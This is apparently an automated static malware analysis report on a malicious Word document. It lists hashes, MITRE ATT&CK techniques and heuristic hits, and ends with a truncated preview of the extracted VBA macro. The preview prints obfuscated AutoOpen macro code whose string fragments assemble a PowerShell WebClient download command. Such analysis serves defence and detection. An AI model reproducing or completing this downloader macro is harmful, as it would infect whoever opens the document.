Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a44450c9b8514dd5…

MALICIOUS

Office (OLE)

268.5 KB Created: 2017-12-05 05:23:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: c6bf3a7b5d4ec5203576c47a7f6e5ef0 SHA-1: 96311baa66659e23d2ce8d749f9e68995bca4dbd SHA-256: a44450c9b8514dd5647128f55d2704889c87e852e3eaceea80734ae7bf8d9f49
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is configured to execute a command using the Shell() function, a common technique for downloading and executing further malicious content. The ClamAV detection and heuristic firings strongly indicate malicious intent, but the specific payload and family are not discernible from the provided evidence.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6389653-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6389653-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 131989 bytes
SHA-256: f149be4df5cff0be8349017633d7012dafafe4dfbbd47fbf09ba1347e9715402
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WfjannnhQdcBDc"
Function WkzCHlOPKF()
LLpMcKSsXOj = Array(Trim(Len("RmfGpRv" + "GCbBNPSXwvwX")), Trim(Len("jSzzfZKqYiT" + "MJzKzvKO")), Trim(Len("jbRFCioZMOfuai" + "jJKsluhXHq")), Trim(Len("GUNwzoI" + "zrhrcqWRMQnQ")), Trim(Len("addolRdACDJP" + "cTLOPrm")), Trim(Len("icwRhCOcUHTZO" + "rkJNXiiwoYb")), Trim(Len("ODGwAwiurBf" + "DOPYhvppmw")), Trim(Len("bEBUHJmnapH" + "LWWHXvUnpFmJI")))
oQEDAGH = Mid("j6lNN8oZ8q8o+q8oTrZ8T+Z8TyZ8T+Z8T{Z8T+Z8TxZ8T+Zu6Mi9ajvUvFjjjujch0lZq1ErsjPiQpnG3", 6, 42)
AiwkvZpGJB = Array(Trim(Len("KlvpVsnVXEIA" + "acALlshO")), Trim(Len("HqzbvdVrTjFLTv" + "KEoDMIjO")), Trim(Len("zlPMUtTBTNi" + "suwKzjk")), Trim(Len("uwGhtBhDiC" + "XcXcJNJWZQErG")), Trim(Len("CRJrsNbwp" + "CiiSTMPXRYG")), Trim(Len("VSmwpKKIqEA" + "rjXLlpNZm")), Trim(Len("ZffrDNAjaiLZw" + "EwXRojozdRbkp")), Trim(Len("lbKjpds" + "QwHzIKiS")))
CvbIKwBNND = Array(Trim(Len("KPtimnRaf" + "wbXlFOEhwaDBLn")), Trim(Len("uSJnWSrMr" + "XusDTWkrcIwYih")), Trim(Len("AENhMIDFQrV" + "nIbGPfmi")), Trim(Len("MicESJifV" + "jbLVNiffqT")), Trim(Len("bLwNziBBjswwH" + "akctwUZuUlhbm")), Trim(Len("ckAvPikSi" + "VbhipimcEinuC")), Trim(Len("swPhqNjVvnZw" + "BjdCHGlYXmvFq")), Trim(Len("EXEZiiODQODbRK" + "fuEtmlsaffoQNU")))
cwfHb = Array(Trim(Len("sInkrYFSnYUlWb" + "mhwMljjLzhronI")), Trim(Len("hIMtoWislAiU" + "PtiwmnAQ")), Trim(Len("NjTLwnDzjR" + "BqMZdnaI")), Trim(Len("NMDLUvGDuCzHV" + "vdadZqpl")), Trim(Len("RKLZjFTzN" + "bHBjHqAhzFjSD")), Trim(Len("dRwDJARzbum" + "JWZzbDm")), Trim(Len("tFuzSmZIp" + "kzGfvPJQpMa")), Trim(Len("jGuFhiHCddf" + "mYXzkXbJJvKnu")))
kQmXJ = Mid("p((' (q8o &( XdvPshOME[4]+Xdvpshome[30]+Z8TXZ8T) (((Z8TxmrfZ8T+Z8T'+'r'+'anc =Z8T+Z8T new-oZ8T+Z8Tbject Z8T+Z8TSyZ8T+Z8Tstem.q8o+q8oNetZ8T+Z8T.WeZ8q8o+q8oT+Z8TbZ8T+Z8TCliZ8T+Z8TeZ8T+Z8TnzG3lsCwO351X41PSQjij34SUa", 2, 185)
UJfzS = Array(Trim(Len("UbAObzqN" + "NcwSPzjpbYssq")), Trim(Len("DNLzZttR" + "iFubbCi")), Trim(Len("ojNfKma" + "jzzopcTd")), Trim(Len("wBPARTzwb" + "NUXFmtVDL")), Trim(Len("jtalmtuudMG" + "RMiASBXMQjiX")), Trim(Len("qJtMvTYH" + "iCbiOXZ")), Trim(Len("SPJbDKa" + "aUjzMzLCYvkA")), Trim(Len("hshiRdcZonzn" + "QTOlnwTaV")))
jdVOG = Array(Trim(Len("aJoKOZnQZnD" + "EvBnCGTRt")), Trim(Len("sKjSkRSkvH" + "DDzOTPFB")), Trim(Len("zjwXSjHWsD" + "dkCRdivpW")), Trim(Len("oswCArDZjrOQYY" + "OIzEJwsr")), Trim(Len("hTAjkoTQiXKqA" + "RoEzJMFMLi")), Trim(Len("PVwkMBwA" + "UhrXouXz")), Trim(Len("BNSOnhPFwiii" + "HWYVSWfSVO")), Trim(Len("rAkwhJOoHaKQo" + "iOUGDNV")))
tKnWGZKoo = Array(Trim(Len("utZwNMOtqoi" + "iVNlZolz")), Trim(Len("iGtUCqdpm" + "wIAjcfbIDR")), Trim(Len("PhGLIafhS" + "CNJPnjbLVk")), Trim(Len("ERmDhll" + "zfhfEPY")), Trim(Len("JuPwHTztuqTp" + "AzhjJLQUIaotbV")), Trim(Len("UiFAPuSQFlwkR" + "IrSwGzizzuEHS")), Trim(Len("UbFfwIY" + "lTZEhjcu")), Trim(Len("bwbzjWzU" + "JVjKwHbRwi")))
lCDXsi = Mid("prQrlwmFfvK,[cHar]39q8o+q8o-crEplACe  Z8Txmq8o+q8orZ8T,[cHar]36 -crEplACe([cHar]105kEat", 12, 71)
MqzLpzE = Array(Trim(Len("zZVwTcARTfz" + "WnzTYpUqauz")), Trim(Len("jUkILLS" + "TRBLbip")), Trim(Len("nqHiRLdvRBiN" + "fAEbPPwrsGHNz")), Trim(Len("FlmrpzhC" + "mSoXqpqJdEIo")), Trim(Len("wjLTruvjA" + "TCYJfJsNL")), Trim(Len("QSJarICBwdJ" + "VopCfWInHAlBU")), Trim(Len("SfLzkqzKBd" + "kcirtnXHihj")), Trim(Len("ciWFXWQjHF" + "pXqwtSsKnL")))
FYQLDF = Array(Trim(Len("RlJUvFwWCPBX" + "hdJqBlE")), Trim(Len("KbzDdaXS" + "QkzNvppHDdY")), Trim(Len("SIHwicTzkPL" + "ZGKJQSfaDYw")), Trim(Len("ZqmnUjzHf" + "rTrFwzEUsAY")), Trim(Len("ooifqlwzYt" + "qYoqfdAS")), Trim(Len("utOrRLT" + "WjjwsCBzJotM")), Trim(Len("iHwJBjKH" + "qriUcuamNi")), Trim(Len("QapNKzWms" + "pHFuMmQhQf")))
KOjTNncdsP = Array(Trim(Len("oHDlpKhGV" + "zGIlJfsvaWzFP")), Trim(Len("dCAkKjS" + "cUlbXurZ")), Trim(Len("wikzFLntFTsoj" + "irAHnJwvo")), Trim(Len("oiozhHzDAj" + "bfCXrNr")), Trim(Len("NaXvFDk" + "mEPqBqOLbW")), Trim(Len("MzW
... (truncated)

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